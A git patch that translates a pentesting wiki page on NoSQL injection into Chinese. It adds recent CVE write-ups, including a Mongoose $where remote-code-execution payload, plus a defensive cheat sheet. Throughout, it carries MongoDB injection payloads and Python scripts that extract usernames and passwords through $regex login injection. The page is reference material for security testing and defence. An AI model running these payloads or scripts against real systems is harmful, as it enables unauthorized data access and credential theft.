From d642d5b76fed9d386611eabe75df4096d495baa4 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:37:02 +0000 Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to zh --- src/pentesting-web/nosql-injection.md | 56 ++++++++++++++++++++++----- 1 file changed, 47 insertions(+), 9 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 435ab1b0c..fc24159b7 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## 利用 -在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo_ 来发送一个数组。 +在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter[arrName]=foo_ 来发送一个数组。 这些利用基于添加一个 **Operator**: ```bash @@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true ```javascript query = { $where: `this.username == '${username}'` } ``` -攻击者可以通过输入像 `admin' || 'a'=='a` 这样的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用像 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a` 这样的输入进行类似的注入。 +攻击者可以通过输入类似 `admin' || 'a'=='a` 的字符串来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,输入如 `' || 1==1//`、`' || 1==1%00` 或 `admin' || 'a'=='a`。 ``` Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a @@ -78,7 +78,7 @@ in JSON ``` ### PHP 任意函数执行 -使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符,可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。 +使用默认使用的 **$func** 操作符的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库,可能可以执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。 ```python "user":{"$func": "var_dump"} ``` @@ -86,7 +86,7 @@ in JSON ### 从不同集合获取信息 -可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取所有与通配符匹配的密码的 **条目结果**。 +可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目** 的结果,这些条目的密码与通配符匹配。 **注意:** 只有在使用 `aggregate()` 函数进行搜索时,才能使用 `$lookup` 和其他聚合函数,而不是更常用的 `find()` 或 `findOne()` 函数。 ```json @@ -114,9 +114,43 @@ in JSON ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` -## MongoDB Payloads +## 最近的 CVE 和现实世界的利用 (2023-2025) -List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +### Rocket.Chat 未认证盲 NoSQLi – CVE-2023-28359 +版本 ≤ 6.0.0 暴露了 Meteor 方法 `listEmojiCustom`,该方法将用户控制的 **selector** 对象直接转发给 `find()`。通过注入操作符如 `{"$where":"sleep(2000)||true"}`,未认证的攻击者可以构建一个定时神谕并提取文档。该漏洞在 6.0.1 中通过验证选择器形状并剥离危险操作符进行了修复。 + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +当 `populate()` 与 `match` 选项一起使用时,Mongoose (≤ 8.8.2) 在发送到 MongoDB 之前逐字复制对象。因此,提供 `$where` 会在 Node.js **内部** 执行 JavaScript,即使在 MongoDB 上禁用了服务器端 JS: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +第一个补丁(8.8.3)阻止了顶级的 `$where`,但将其嵌套在 `$or` 下绕过了过滤器,导致了 CVE-2025-23061。该问题在 8.9.5 中完全修复,并引入了一个新的连接选项 `sanitizeFilter: true`。 + +### GraphQL → Mongo 过滤器混淆 +直接将 `args.filter` 转发到 `collection.find()` 的解析器仍然存在漏洞: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +缓解措施:递归地剥离以 `$` 开头的键,明确映射允许的操作符,或使用模式库(Joi, Zod)进行验证。 + +## 防御备忘单(更新于2025年) + +1. 剥离或拒绝任何以 `$` 开头的键(`express-mongo-sanitize`,`mongo-sanitize`,Mongoose `sanitizeFilter:true`)。 +2. 在自托管的 MongoDB 上禁用服务器端 JavaScript(`--noscripting`,在 v7.0+ 中为默认设置)。 +3. 优先使用 `$expr` 和聚合构建器,而不是 `$where`。 +4. 及早验证数据类型(Joi/Ajv),并在期望标量的地方不允许数组,以避免 `[$ne]` 技巧。 +5. 对于 GraphQL,通过允许列表转换过滤器参数;绝不要扩展不受信任的对象。 + +## MongoDB 载荷 + +列表 [来自这里](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -182,7 +216,7 @@ if 'OK' in r.text: print("Found one more char : %s" % (password+c)) password += c ``` -### 从POST登录进行暴力破解用户名和密码 +### 从POST登录进行暴力破解登录用户名和密码 这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。 ```python @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,16 +260,19 @@ for u in get_usernames(""): get_password(u) ``` ## 工具 - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) -## 参考资料 +## 参考文献 - [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}